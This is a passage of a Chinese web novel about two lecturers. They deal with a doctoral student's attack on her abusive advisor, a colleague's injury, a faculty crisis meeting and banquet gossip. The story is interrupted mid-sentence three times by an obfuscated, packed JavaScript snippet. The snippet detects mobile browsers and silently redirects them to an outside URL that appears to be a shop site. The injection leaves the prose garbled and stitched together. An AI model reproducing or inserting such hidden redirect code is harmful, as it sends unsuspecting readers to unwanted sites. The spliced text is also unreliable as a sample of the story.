谁曾想这反而给了张智学一些鼓励,他趁其不备,一把夺过手术刀,跳起来勒住洪书渊的脖颈。 贺鸣云和江无远在四楼会和,冲进教室就看到: 吴渺制服了胡杰! 张智学劫持了洪书渊! 吴渺没搞明白状况,他们也没打算伤及无辜,张智学跳出来掺和做什么?他谁啊? 张智学吓坏了,手在剧烈抖动,洪书渊的脖子已经被扎出了血。 江无远怕他手一滑酿成大祸,喊:“张教授!你控制下你的手!手别抖了!你稳一稳!” 贺鸣云也喊:“张教授,杀人要被关进监狱的!” 江无远帮腔:“张教授,你要是犯法蹲局子了,你爸肯定不认你了!副教授职称也没了,退休工资也没了!” 张智学一听,放声大哭。 江无远趁机脱下一只鞋朝他扔去,正中张智学的手,手术刀脱手,在地心引力的加持下,不偏不倚,刀尖朝下,扎在张智学的脚背上。 张智学惨叫一声,松开洪书渊。 洪书渊没功夫搭理他,叫了声“小渺”,扑了过去。 吴渺不知什么时候晕倒了,全身剧烈抽搐。 洪书渊跪在地上抱住吴渺,掰开她的嘴,以防她咬到自己的舌头。 他不再像之前强装镇定,脸上露出了小孩子犯错般的慌张,两只大眼睛蓄着泪,望着旁边的江无远。 江无远问:“是癫痫?” 洪书渊点点头:“老毛病了。” “贺鸣云,快打120!” 江无远拍了拍洪书渊的脸:“我听说你是医学生,别紧张,你可以帮到吴渺的,冷静点,好吗?” 洪书渊点点头,帮着江无远把吴渺平放在地上,把她的头轻轻掰向一侧。 吴渺还在无意识抽搐,口吐白沫,漂亮的脸上沾满了口腔分泌物。 她才二十多岁,本来应该是无忧无虑、享受青春的年纪。江无远心里很难受,伸手想帮她擦掉脸上的脏东西。 眼前突然出现了两张酒精湿巾。 江无远抬头,贺鸣云姿势僵硬,把酒精湿巾递给她,示意她帮吴渺做清洁工作。 张智学稍微回过神来,一瘸一拐凑过来想看热闹,一不留神被晕死过去的胡杰绊倒,正好摔在一滩神秘液体上,脸朝下,也晕了过去。 “别担心,他们两个都晕倒了,”贺鸣云的语速很快,“你们今天带的全部刀具都留下,我会处理。警察或者保安来了,不知道该说什么就不要说,也不要和胡杰他们私下接触,你听懂我的意思了吗?” 洪书渊茫然地看着他。 江无远立刻明白了贺鸣云的意思,补充道:“医生同学,今天没有造成严重后果,事情可大可小,你要保护好自己和吴渺,你明白吗?” 他这次明白了。洪书渊抱紧昏迷的吴渺,点了点头。 救护车拉走了吴渺和胡杰,留下昏迷的张智学。 救护车来的时候,胡杰其实已经醒了,除了受到惊吓,他看起来一点事儿都没有。甚至中气十足,一直在骂骂咧咧。 只是江无远和贺鸣云觉得他年事已高,还是去医院做个检查比较妥当,一劝二求三请地,好歹给老登骗上了救护车。 至于张智学,他俩默契地决定对其采取放置不管的战略。 江无远很困惑:“张智学跟胡杰感情有这么好?他怎么跟着搅和进来了?” 贺鸣云嫌弃地看了眼躺尸的张智学,言简意赅道:“脑子有病。” 江无远心里暗自好笑,明知故问:“那你呢?跟张智学感情这么好?你跟着来干嘛?” 岂料贺鸣云脑子转得飞快,四两拨千斤:“那你是因为跟我感情好才来的吗?跑得这么快。” 江无远一时语塞,白了他一眼。 贺鸣云见好就收,不再多嘴,蹲下给江无远穿鞋。 她刚刚一着急把拖鞋扔出去,又急着给吴渺做急救,都忘了把鞋捡回来,穿着只袜子行动了半天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204557|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你……”江无远望着贺鸣云给她系鞋带,又语塞了,她想问你不是有洁癖吗,但看着贺鸣云的姿势属实别扭,屁股翘得老高,心下大骸,此人在干嘛?怎么骚哄哄的? 贺鸣云起身的速度有点慢,他退后一点,倚在课桌上,说:“回家了洗个脚,消好毒检查下,看有没有扎到脚。” “知道了。” 为缓解尴尬,江无远弯腰想去捡吴渺落下的菜刀。 贺鸣云眼疾手快,拉了她一把:“小心,手别碰到了。” 江无远疑惑地看了看,问:“这是什么?” 贺鸣云沉着答复:“这是晕过去的张智学。” “……我问这滩水是什么。” “大概是胡教授吓得失禁了。” 江无远恶心得倒退一步。 贺鸣云的表情还是很平静:“我们学院老教授比较多,膀胱肌退化了,理解一下。” “对了,说到这个,我在会议室怎么只看到几个教授啊?还都是男教授。其他教授呢?没事吧?” “没事,今天刚好学院里有妇联活动,女教授都去搞活动了,没来开会,”贺鸣云倚在桌上一动不动,一反常态的健谈,“据说是去香山秋游,还好人少,不然场面更混乱。说起来,香山现在有红叶了吗?应该要十月去才对吧?” 江无远这才看出端倪:“贺教授,你怎么傻坐着,你不舒服吗?” 贺鸣云嘴唇发白,坚持道:“没有。” “那你手摁在屁股上干嘛?好诡异的姿势。” 贺鸣云嘴硬道:“我……我这是在叉腰。” 他刚刚的动作也很奇怪,疑似蹲不下去。江无远这才琢磨出点味道来,文弱书生该不会是刚刚和学生搏斗,受伤了吧? “那桌上的血是怎么回事?你摔着了还是怎么的?” 桌上的血是怎么回事? 桌上的血是贺鸣云的。 贺鸣云的屁股受伤了,流血了。 乔布斯在斯坦福大学演讲时说,未来回首时,你才会知道人生中的点点滴滴会如何串联起来,连成一条线。(注1) 具体来说,当天贺鸣云遭遇的点点滴滴,是这样连成一条屁股斩杀线的: 1.因为江老师头天晚上提醒他,院内会议要注意形象、尊重院长和副院长,所以他特意穿了锃光瓦亮(但非常不方便跑动)的尖头皮鞋。 2.趁着暑假,工人正在翻新A幢、B幢教学楼,消防通道随意地堆放着建材,还没来得及收拾。 3.在消防通道里,贺鸣云突然听到张智学尖叫,吓了一大跳,脚下一滑,失去平衡,百忙之中他还努力调整了重心,让身体歪向右边,以免磕破脑袋。 4.好死不死,右边堆着一摊砖头,一截尖尖的木头恰好卡在砖头间的缝隙里,微微上翘。 5.贺鸣云一屁股坐在木头尖上,还好角度不正,武器也不够锋利,右半边屁股被划伤,不算太严重。 6.出血量也不算大,但这是夏天,裤子面料薄,还是被江老师发现了。 7.而且屁股挺痛的,局部有灼烧感。 贺鸣云的脸色更差了:“……我要说男人也会来月经,你信吗?” “你屁股受伤啦?!” “小点儿声,”贺鸣云咬牙切齿的,“皮外伤,纯属意外,没事。” 江无远假公济私,严肃表示:“臀部肌肉很多的,还有坐骨神经,事关健康,我看看。” 贺鸣云吓得差点从桌上摔下去:“你看什么啊看!哎,手拿开,自重啊!” 注1:乔布斯原话:“Youcan''tconnectthedotslookingforward;youcanonlyconnectthemlookingbackwards.Soyouhavetotrustthatthedotswillsomehowconnectinyourfuture.” 36. 全村之力 “你别脱!你等等!” 马远征一把年纪了还没遭过这种报应,三十好几的学生难得登门拜访,竟然是要他帮忙给屁股消毒。 贺鸣云十分不满:“就消个毒,又不是要你的命。我要是自己能弄,才不来找你。” “臭小子,你这是求人该有的态度吗?” 贺鸣云右边屁股上一道长达五六厘米的伤口,现在已经开始发紫,看着还挺吓人。马远征嘴上骂归骂,手上的动作还是很轻柔。那怎么办呢,上辈子杀猪,这辈子教书,上辈子杀人,这辈子从文。 消毒完毕,贺鸣云提上裤子。马远征摘下老花镜,此时才敢放肆呼吸:“贺鸣云,你真的应该找个女朋友了,不然以后生病死家里都没人管。” 贺鸣云嗤之以鼻:“好笑,找伴侣就是为了给男人当保姆当护工的?封建,男权。” “那你别找我,我也不当保姆,年纪大了,见不得这些脏东西。” 贺鸣云嘟嘟囔囔:“你不是经常唠叨,让我没事多来串串门嘛。” “我是让你来交流工作,不是让你来拿屁股对着我。” 伤口不深,但位置暧昧,牵一发而动全身,贺鸣云最近走路、坐下甚至上厕所,都时不时会扯到伤口,痛得不行。 他哼哼唧唧挪到门口,都要出门了,又回头威胁道:“你不准跟别人说啊!” 马远征赏他一记白眼:“我有病啊?我跟谁讨论你的屁股?谁在乎你的屁股?赶紧滚。” 贺鸣云缓慢地滚了,马远征长叹一口气,他要擦的屁股还多着呢,新学期一来就搞了个大新闻,头疼。 ***** 消息最早是从冰洋大学bbs传出的:《国关学姐捅导师了?》,引起热议,被顶上了首页。很快,帖子被截图搬运到微博和小红书,引起了不小的舆论风波。 校方马上安排行政老师下场删帖和举报,帖子没了,舆论反而更热,网友冲浪多年,深谙“掩饰就是实锤”的朴素真理。 “下场捂嘴是最烂的公关方式,”江无远摇摇头,又看了眼坐在对面淡定喝豆浆的贺鸣云,“贺教授,请问你在这里做什么?” “这里”,指江无远家,的餐桌。 贺鸣云如实回答:“陪你吃早饭。” “我也没让你陪。怎么还喝上豆浆了?医生让你补充雌激素?” 贺鸣云的手微微一顿:“我网上查的,伤口恢复期,不喝咖啡不吃酱油醋,不然色素沉淀,屁股上留疤不好看。” 看给他金贵得,又不是剖腹产。还有,谁要看他屁股啊? “什么色素沉淀,你作为一名博导,医学常识简直糟糕得令人发指,”江无远嘴上这么说,眼睛还是没忍住,往他屁股上瞟,“屁股怎么样了?” 贺鸣云不自在地挪了下,说:“没什么大碍,浅表伤口,没有穿透脂肪层,每天消毒,不碰水就行了。” 江无远抓住重点问:“你的屁股脂肪层很厚?” 士可杀不可辱,贺鸣云每个星期都练臀! 他急得站了起来:“没有!我的肌肉层很厚。哎哟——” 起身急了,扯到伤口,痛得他龇牙咧嘴。 “……您悠着点,今天就在这儿老实坐着吧,别上蹿下跳的了。” 贺鸣云摇摇头:“那不行,今天马老头召集涉案老师开会,我得去。” 江无远心下了然。“消息传开了,学院内部要定个调,对外有个统一的口径。” “嗯,我准备在会上申请学院启动对胡杰的内部调查,给吴渺争取换导师的机会,当然,最好不要波及到洪书渊,发生在外校假期里的事,能压住就压住了。” 他说得一气呵成、理所当然,江无远听得头皮发麻,贺鸣云申请调查自己同事?真不敢相信,坐在对面的是个三十多岁、脑子没问题的人类。 江无远还没说话,贺鸣云就把豆浆干了,自说自话道:“你没反对,那我就按原计划执行了。” 江无远拉住他的袖子:“你等下。” 贺鸣云拍了拍她的手臂,安抚道:“你不是说我早晚会当上院长吗?这是院长应该做的事。” 还摆出一副“风萧萧兮易水寒”的悲壮姿势,搁这儿瞎煽什么情呢。 江无远无奈道:“我不是担心你,我是担心马院长被气死。我还是跟你一起去吧,我也算涉案老师,可以见机行事。” “……你这话是什么意思?” “你屁股还没好,别口出狂言惹毛了老爷子,被打得屁股开花。这句总听懂了吧?” “能不能别再提屁股了?” ***** 马远征的院长办公室前所未有的热闹,除了陈泰宇副院长和几位教授,教务处主任王仁才也在,脸色相当难看。 这场景似曾相识。 胡杰身体健康、精神抖擞,逃过一劫后诗兴大发,情绪激动地吟唱:“吴渺有神经病!她要杀我!我差点就出大事了!” 念得马远征头疼,他压着嗓子劝:“老胡,我们都理解你的心情,你受惊了,先稳一下,别回忆了,对心脏不好。” 王仁才冷笑一声:“是差点出大事了,学生杀老师,传出去还得了?” 林教授指出:“已经传出去了。” 收获王仁才眼刀一记。 马远征又安抚王仁才:“王主任,给你添麻烦了。确实是大事,所以才要梳理清楚。我们冰洋大学从本科就开始培养的优秀学生,怎么会走到这一步?是精神问题,师门压力,还是有别的原因?” 陈泰宇附和:“见微知著,以小见大,捋清楚原因,也是为了避免以后类似事情发生,也便于之后向校领导汇报嘛。” 听到“汇报”二字,所有人都陷入了沉默。 王仁才递给马远征一个“你去汇报”的眼神,被马远征不动声色地躲开。 王仁才捏了捏鼻梁:“两位院长,我知道你们想保护学生,但这件事的影响太恶劣了,舆论都闹翻了。领导、家长、学生还有媒体,全盯着这件事,必须严肃处理,给各方一个交代。” 贺鸣云突然插嘴:“什么舆论?” 王仁才被他问糊涂了:“你不看群消息?学生杀老师的舆论啊。” 江无远心领神会,说:“王主任,主要的舆论应该是‘导师PUA导致学生行凶’,以及‘冰洋大学官方下场删帖’。” 胡杰嗷嗷叫起来,被旁边的贾明光按住了。 马远征示意她说下去:“江老师,你的意思是?” 江无远早有准备,分发给他们一份连夜准备好的新闻摘要和简要分析:“各位教授请看,这是过去三年里,大学城发生的十几起师生冲突案件,我做了新闻摘要和舆论走向分析。可以看出,冲突本身——也就是王主任刚刚提到的‘学生杀老师’的舆论——并没有引发大规模舆情,反而是惩罚学生和封锁消息这类简单粗暴的应对措施,引爆了学生和网友的怨气,轻则导师被开户,爆出个人信息——” 江无远故意顿了顿,给了胡杰一个眼神。 胡杰心虚地移开目光,江无远继续:“重则自发向教育局、市长热线举报学校,甚至进行小规模示威抗议,带来更严重的舆情风暴。因此,大家之前讨论的强硬版措施,包括强制吴渺退学,全面封锁消息,以及处罚发帖的学生,我个人认为欠妥。” 王仁才翻看着江无远准备的材料,没有提出反对意见。 “可以看到,校方积极介入调查,慰问家长和学生,展现人文关怀、程序公正的几个案例,最后都平稳度过了舆论危机,”江无远轻轻踢了贺鸣云一脚,让他做好准备,“当然,我只是从本专业的视角提一点不成熟的建议,具体措施还要请教务处和社科学院商定。” 贺鸣云自以为领会了江无远的暗示,自信发言:“江老师说得不错,所以我要举报胡杰教授,督促学校对博导带教情况开展全面审查。” ***** 在贺鸣云石破天惊、开天辟地的二百五发言后,场面一度混乱,脏话从各个方向喷涌而出,江无远大气不敢出,怕被牵连进去。 马远征猛打感情牌,又说贺鸣云是亲临现场受了伤、精神受到了刺激在说疯话,这才勉强稳住场子,让胡杰和王仁才冷静下来。 江无远赶紧补充说明:“各位教授,其实吴渺给我发过邮件,附件是针对胡教授的不利证据,包括她最近一年的心理医生就诊记录,被导师和师兄师姐辱骂的聊天记录,以及关于某些论文和课题的工作记录。” 她观察着胡杰的脸色,继续说:“胡教授,我们当然信任您的带教能力,只是担心这些资料被爆出来,会引发更大规模的舆情,甚至进入司法程序,最后造成双输局面。” 江无远又白了贺鸣云一眼——他一脸茫然,显然现在还没意识到自己说错了话——忍辱负重为搭档洗白:“贺教授刚刚说要举报胡教授,意思其实是,我们需要率先启动内部调查,至少程序上要过得去,做一个软着陆。” 贺鸣云茫然地开口:“什么叫‘至少程序上要过得去’?我的意思是应该——” 贺鸣云屁股痛,不方便坐,在边上站着。 江无远趁其他人没注意,拿包狠狠拍了下贺鸣云的屁股,贺鸣云脸色痛得惨白,倒吸一口凉气,可算闭嘴了。 王仁才处理过类似案件,明白江无远的暗示,江无远都这么说了,意思就是学生有实锤证据了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215190|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就难办了。 “社科院的意见呢?” 马远征沉吟片刻,说:“初步考虑,不走司法程序,给吴渺记警告处分。学院批准吴渺更换导师,由工作组监督,确保她用已有成果完成论文,尽快毕业。外校学生的事就算了,我会和那边沟通的,大事化小小事化了吧。” 胡杰正要抗议,一直沉默的贾明光开口了:“各位应该知道,我有一个博士因为个人原因休学,我自认为比较了解博士生的心理状况,可否听听我的浅见?” “贾教授请讲。” “其实导致这个学生休学的原因有很多,分手只是其中一个,课题组的工作强度也给他造成了很大的压力。只不过发现问题后,我及时找他沟通,都没给什么实质性帮助,就是给了个态度,小孩就不闹了,自己申请休学了,”贾明光叹了口气,神色复杂,“我们这些老东西,就算不是想保护学生,就权当是利益交换,也不至于要跟小孩子硬碰硬吧?” “马院长,陈院长,王主任,我建议,第一,抓紧做出官方声明,强调校方开展调查的公正立场。第二,暂停胡教授的相关工作。第三,对吴渺同学进行心理疏导和毕业辅导。胡教授,希望你能理解,配合的态度最有利于控制舆论,现在的情况是,吴渺好,我们才能好。” 胡杰垂头丧气,点了点头。 ***** 马远征面带成熟的假笑,送走了同事们,留下了贺鸣云。 江无远听到马远征在办公室里咆哮,呕哑嘲哳难为听。 “关你什么事?啊?我问你,闲着没屎吃是不是?你还要跳出来举报了!狗东西,还嫌别人不够讨厌你?” “我不是针对谁,本来现在的博导风气就有问题,就应该——” “你给我闭嘴!” 给马远征足足骂了半个钟头,贺鸣云出来的时候人都蔫了,头发黏糊糊的,疑似被老头的唾沫星子洗了个头。 挨了一顿批,他还是很茫然:“我说得不对吗?” “倒也没有不对,就是……”江无远难得词穷,“就是下次你提前和其他教授串串词,打打配合嘛,一个人跳出来当靶子,害人家误会你,多辛苦啊。” 贺鸣云诚恳道:“不辛苦,我本来就一直在得罪人。” 江无远很无奈:“别这么说啊,你人缘也没那么差……吧,送了那么多二作呢。” 贺鸣云蔫巴巴的,江无远只好转移话题:“其实马院长的想法跟你一致,是支持你的。不过你应该一早就知道了?” “嗯,”贺鸣云脸上浮现出某种怀念之色,“我了解马老头,他见不得年轻人吃苦。” “那倒是,不然也不会这么袒护某只倔驴,”江无远无视贺鸣云抗议的眼神,补充道,“不然也不会故意没报警,他不希望吴渺留下犯罪记录。” 贺鸣云点点头,又摇摇头:“Ittakesavillagetoraiseachild.(养育一个孩子,需要举全村之力)” 江无远明白他的意思。 这一次,天时地利人和,在他们的干涉下,两个学生没有造成严重后果,还有几个好心的大人,愿意平衡各方势力,给年轻人一个机会。 可下一次呢? 这所大学里,还有多少个吴渺和洪书渊,正在默默丧失希望? 他们都知道,这并不是一场胜利。 贺鸣云是铁血溯源派,一向坚持要解决这类问题,不能只依赖个人的善举。此时脸色铁青,也不知道是被马远征骂缺氧了,还是又在那儿开始大思考了。 “贺教授,给你看小狗,向寻今天发我的。” 江无远把手机递给他看。画面上是一只眼睛都没睁开的小奶狗,被泡在洗手盆里,身体似乎完全僵硬了,没有一点动静。 “这是学生之前救的小狗,没有人管,在路边都冻僵了。” 没想到镜头一转,一只胖嘟嘟的煤气罐出现了,冲着镜头撒欢,叫得像头驴。 贺鸣云不敢相信:“这是它?” “嗯,救下来那天大家都没抱希望,死马当作活马医,把小东西泡在温水里,吹风机吹干,放在暖气片旁边,竟然救活了,向寻最近也给它找到领养了。生命很顽强,也很出乎意料,不是吗?” “嗯。” “推动动物保护法立法是一件长远的工作,也许要很久才能见到成效。但我们今天又救了两只小猫,贺教授,你做得很好。” 贺鸣云看着她,露出一点微笑。“嗯。” “那我们去吃点好吃的吧?要不去吃炖牛尾?给你补补,让屁股早日康复。” 贺鸣云的笑容凝固了。“……麻烦不要再特意点名我的屁股了。” 37. 不散宴席 至于也受了伤的张智学呢? 张教授三代单传,身体发肤受之父母,可把自己给心疼坏了,坚持要告吴渺和洪书渊。 意料之内情理之中,所有人证都没站在他那边。 贺鸣云和江无远非常肯定:“他是偷鸡不成蚀把米,想威胁学生,结果不小心弄伤自己了,不关学生的事。” 马远征附议:“没错。” 陈泰宇的屁股已经歪向贺鸣云:“对,是这样的。” 贾明光点头表示支持。 连一向不待见贺鸣云的李教授,经此一役,两害取其轻,觉得还是只顾自己逃跑的张智学更讨厌,作证道:“他自作自受,活该。” 张智学大受打击,卧床不起。胡杰也推称年纪大了,遭到惊吓,需要静养,马远征只好请江无远带着贺鸣云去探望吴渺。 吴渺状况稳定,只是出于各种考虑,要多住两天院,也正好避避风头。 贺鸣云告诉吴渺可以申请换导师,以及这件事不会波及到洪书渊的好消息。 吴渺知道学院现在盼着她赶紧滚蛋,不管是哪个导师,都会帮她尽快完成论文。“我可以选您做我的导师吗?” 贺鸣云拒绝得毫不留情:“不能,我是教社会学的。” “那您能推荐下其他不错的导师吗?” 贺鸣云语气生硬:“也不能,我和你们系的老师不熟,不了解情况。” 江无远有些诧异地看了他一眼。 贺鸣云不会做超过一般水准的友善举动,但也绝不是冷漠无礼的人。这是在发哪门子癫,对着个学生这么冲? 没等她多琢磨,吴渺转向江无远:“江老师,谢谢您帮忙。” “客气了,我没做什么,换导师的事是贺教授帮忙协调的,要谢谢贺教授才是。” “江老师,我听说学校把这件事相关的帖子全删了。” 吴渺盯着江无远,没有说下去。 江无远略感不适,简洁地解释:“考虑到舆论发酵会影响到各方,先减少讨论度比较妥当。当然,学校的内部调查是会正常进行的。” 吴渺还是盯着她:“如果内部调查的结果不尽如人意,您能帮我披露事实吗?” 江无远这才明白刚刚那种不舒服的感觉从何而来,她还没回答,贺鸣云先答复了:“这个江老师办不到。如果一定要披露,你可以自己做,想怎么写就怎么写。” 江无远说得比他委婉些:“小吴同学,舆论不仅会伤到胡教授,也会伤害到你和小洪同学,你要好好考虑。这次处理掉帖子,并不只是为了保护老师和校方,这你应该明白。” “……嗯,这我知道。” “对了,这个,我在漫展买的,”江无远把挂件递给吴渺,“祝你以后一切顺利。” 两人走出医院,贺鸣云还是气鼓鼓的。 江无远心觉好笑:“贺教授,你气什么呢?” “当然是气她利用你,她敢把证据发给你,却不敢直接发给学院或者学校领导。现在还想让你帮她搞舆论战?算盘打得也太响了。” “那你不也是心甘情愿被利用了吗?”江无远不是第一次遇到这种事,心态比较好,“向信任的老师求助是学生的本能,想报复胡杰也可以理解。吴渺被欺负了这么久,都生病了,她是个病人。” 贺鸣云叹了口气:“我知道是学校没有做好,也觉得学生可怜。可是因为结构性缺失,学生不能通过官方渠道解决问题,那像你这样的好人,就会被学生当作救命稻草,被迫承担系统本应该承担的责任,这不公平。” 江无远愣了下,她习惯做学生的知心姐姐和救火队员了,习惯了把疲惫和委屈咽下去,告诉自己“这都是正常的”“他们只是孩子”。 很偶尔地,心底涌起不耐烦的情绪时,她还会自责,觉得自己对学生过分苛刻了,没有尽到教师的责任。贺鸣云这么一说,她才第一次意识到,原来她和学生承受的一些压力,都是没道理的。 贺鸣云观察着她的表情,小心地问:“我又说错话了?” “没有,说对了。不过,我觉得偶尔被猫猫抓伤,也很正常,不算什么,”江无远朝他笑笑,“贺教授,有你一起救流浪猫猫,感觉很好,谢谢你。” 贺鸣云不解地眨了眨眼:“什么意思啊?” ***** 吴渺的事暂告一段落,趁着开学,依照惯例,人文社科各学院联合举办老教授荣休仪式暨新学期晚宴。 新学期预算充足,每年晚宴规格都挺高,吃得很好。江无远摩拳擦掌,发给贺鸣云的蹭车邀请却迟迟不见回复。 江无远直接杀到他办公室,此人果然正在专心工作,两耳不闻宴会事。 “你一个人在这里做什么?” 贺鸣云如实回答:“备课。” “别装模作样逃避问题啊,你知道我在问什么。” 贺鸣云满不在乎道:“没人邀请我。” 江无远指出:“你翻翻邮件,群发的。” 贺鸣云顾左右而言他:“我屁股……身体不舒服,本来就不想去。” “哦。” 贺鸣云继续解释:“不喜欢应酬,跟他们又不是什么哥们。” “嗯嗯。” 贺鸣云又说:“而且我也没时间,小钟的论文外审,被提了很多修改意见,我要给她看看。” “原来如此。” “……你这是什么眼神?” “贺教授,我跟学院的同事也不是什么姐妹,跟他们呆一起我会很无聊,”江无远诚恳地说,“所以我想邀请你作为我的男伴一起参加晚宴,你不肯赏脸吗?” 她一眨巴眼睛,贺鸣云明知她纯粹是为了蹭车,内心却依然不争气地大受动摇。 江无远继续煽风点火:“走嘛,菜很好吃的。人家张教授脚瘸了,都还要坚持赴宴刷存在感呢。” 听到“张教授”三个字就不舒服,贺鸣云自以为隐秘地翻了个白眼。 “贺教授,你眼睛这么大,白眼翻起来很明显的,以后不准翻了。” “……哦。” ***** 江无远说:“我先去学院那边转一圈,和领导打个招呼。” 贺鸣云乖巧得像一只导盲犬:“嗯,我原地等你。” “你原地等我干嘛?”江无远奇了怪了,“你也去学院和马院长他们打个招呼呀,快去。” 贺鸣云见她兴致勃勃,没好意思说马远征今天没来,他跟其他人都不太熟,不想去冷脸贴冷屁股。 他不情愿地朝社科院同事聚集处进发,一边缓慢挪动步子,一边在心里打草稿,怎么自然而冷淡地寒暄两句,然后迅速撤回和江老师的集合点。 在这类聚会活动上,贺鸣云的存在感一向稀薄,大多数人可能根本确定他绝对不会来,聊天也就无所顾忌。 李教授和方教授正在聊天,两位教授年纪稍长,耳朵不好,说话比较大声。 他们在聊吴渺那件事。 方教授当时不在场,不了解情况,问:“我听说是贺教授出面解决了问题?” 李教授笑道:“是啊方教授,没想到吧,书呆子发了胡难财,老教授被精神病学生追杀,反而给他搞上危机公关了。老马就不用说了,连王仁才都觉得他处理得不错,春风得意着呢。” 方教授说:“平时贺教授不声不响的,关键时候还挺有担当。” 李教授压低了点声音:“唉,你就是不玩政治。什么担当啊,投机!算准了胡杰不敢深究,张智学又没用,正好他踩着同事的污点,学生那里赚口碑,领导这边显手腕。之后评教授和副院长不就水到渠成了么?” 方教授没说话,倒是林教授接茬了:“是啊,还跳出来说要举报胡教授,再怎么说也是同事一场,想挣表现也太迫不及待了吧?” 李教授喉咙里发出一声短促的讥笑:“不止呢,后来他还提了份导师匿名评价草案上去,被老马给扣住了。” 方教授也是博导,比较感兴趣,追问:“什么导师匿名评价草案?” 李教授不耐烦道:“就是让研究生和博士生匿名评价导师,还要对已经毕业的学生追踪回访。学生负面评价多的,学院内部就要启动对导师的带教情况调查。” 林教授笑道:“什么制度改良,就是做样子掩盖根本矛盾嘛。匿名评价导师有什么用?导师的权力根源动了吗?学生的毕业压力小了吗?所以说人还是要学好,本来贺教授是一心向学的,跟新传那个小江混在一起,也开始搞形象管理这一套了。” 贺鸣云愣住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232562|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林教授说得没错。导师的权力根源没有变化,学生的毕业压力没有变小,他的提案治标不治本,病灶还在那里。他关注约束博导权力这件事已经很久了,却始终想不出好的办法。 方教授说:“还真没想到小贺有这方面的头脑,我印象里他也不怎么玩政治的,就知道做研究。” 林教授说:“咱们都过时啦,现在哪里还有年轻人专注学问的,都是一鱼两吃,把学术研究理想主义化,做成一门生意。咱们这些老老实实带学生、对学生要求高的,反而成了人家上进的垫脚石。” 贺鸣云不是没有想过,掺和吴渺的事会让别人误会他的动机,认为他是在讨好学生,积累政治资本。 他不在意这个。 他一向自诩在努力做到知行合一,维护正确的秩序,做对的事,哪怕这些事不讨人喜欢。 可他在意,在体制内做所谓“正确的事”,是不是本来就是个伪命题?是不是一种虚伪的自我安慰和假装清高? 他的心情顿时变得很差。 “贺教授?贺教授!” 贺鸣云如梦方醒,看到江无远朝他走来,有些慌张。“对不起,我走神了。怎么了?” 江无远把盘子递到他脸面前:“这个小汉堡太好吃了!你快尝尝。” “……就这事?” 江无远一脸真诚:“还有比这更重要的事吗?” 贺鸣云不敢说“有”,沉默地把小汉堡塞进嘴里。 “好吃吗?” 贺鸣云心情不好,味同嚼蜡,毫无感情地说:“好吃,谢谢。” “你这表情怎么跟吃了屎似的,怎么了?” 贺鸣云没有回答。 李教授和林教授端着酒杯凑了过来。 “贺教授,老胡的事多亏你帮忙,大义灭亲清理门户,处理得漂亮!” “就是,有勇有谋,不仅避免了学院陷入舆论危机,在学生那边也大受欢迎啊。来,敬你一杯。” 贺鸣云举了举杯,简短地“嗯”了一声,他觉得有点累了,不想再和他们掰扯。 突然,第四个酒杯加入了他们,挡在李教授、林教授和贺鸣云的杯子之间。 江无远自然地挽上贺鸣云的臂弯,动作夸张地碰了碰李教授、林教授的酒杯,发出清脆的撞击声。 “两位老教授也太护短了,不能因为是自己人,就捧杀贺鸣云啊。贺教授算什么有勇有谋?我看他明明轴得很,一根筋,说话气人,做事莽撞,只想着解决问题,需要情商的东西一窍不通。” 贺鸣云确实情商不高,又被江无远突如其来地一揽,大脑当场死机,一句话也说不出来。 江无远笑眯眯的:“要让情商高点的人来处理吴渺这件事,要么各打五十大板,速速办结;要么像某些人一样装死,让别人出头。既要保住学生的学位,又要查处导师的问题,吃力不讨好,还要被人背后蛐蛐,也就贺教授这种笨蛋愿意干了。” 贺鸣云这才品出点味道来,江老师这是在……帮他阴阳怪气对方? “您二位说什么清理门户、有勇有谋,贺教授听不懂的,太高深了。来,贺教授,还愣着干嘛?这杯酒该我们敬两位老教授,感谢前辈善意提醒,学术圈里不能只埋头做事,还有很多门道,需要你潜心研究。” 江无远掐了一下他的臂弯,贺鸣云心领神会,露出一个大大的假笑,碰了碰两位教授的酒杯。“多谢前辈提点。” 李教授和林教授面带不快,走了。 江无远问:“他们刚刚在背后说你坏话了?” 贺鸣云有点委屈:“嗯。你怎么知道的?” “看样子就猜到了呀,我又不是笨蛋。” 江无远凑近了一点,说:“其实我也不喜欢这种场合,不喜欢和傻子争论,不喜欢自证清白。但是我更不喜欢看小人得志,你觉得呢,贺教授?” 她看着贺鸣云,眼睛里闪耀着奇异的神采。就算是传说中不近女色的牛顿,想必也会为这般光彩倾倒。 何况他这个普通学者,一个会因为别人的坏话就动摇的普通人。 贺鸣云调整了下手臂的姿势,方便江老师揽住。 “江老师,我觉得你说得非常对。” “那就来吧,进攻就是最好的防守。” 38. 混合双打 江无远就知道,那帮人还在讨论吴渺和胡杰的事。 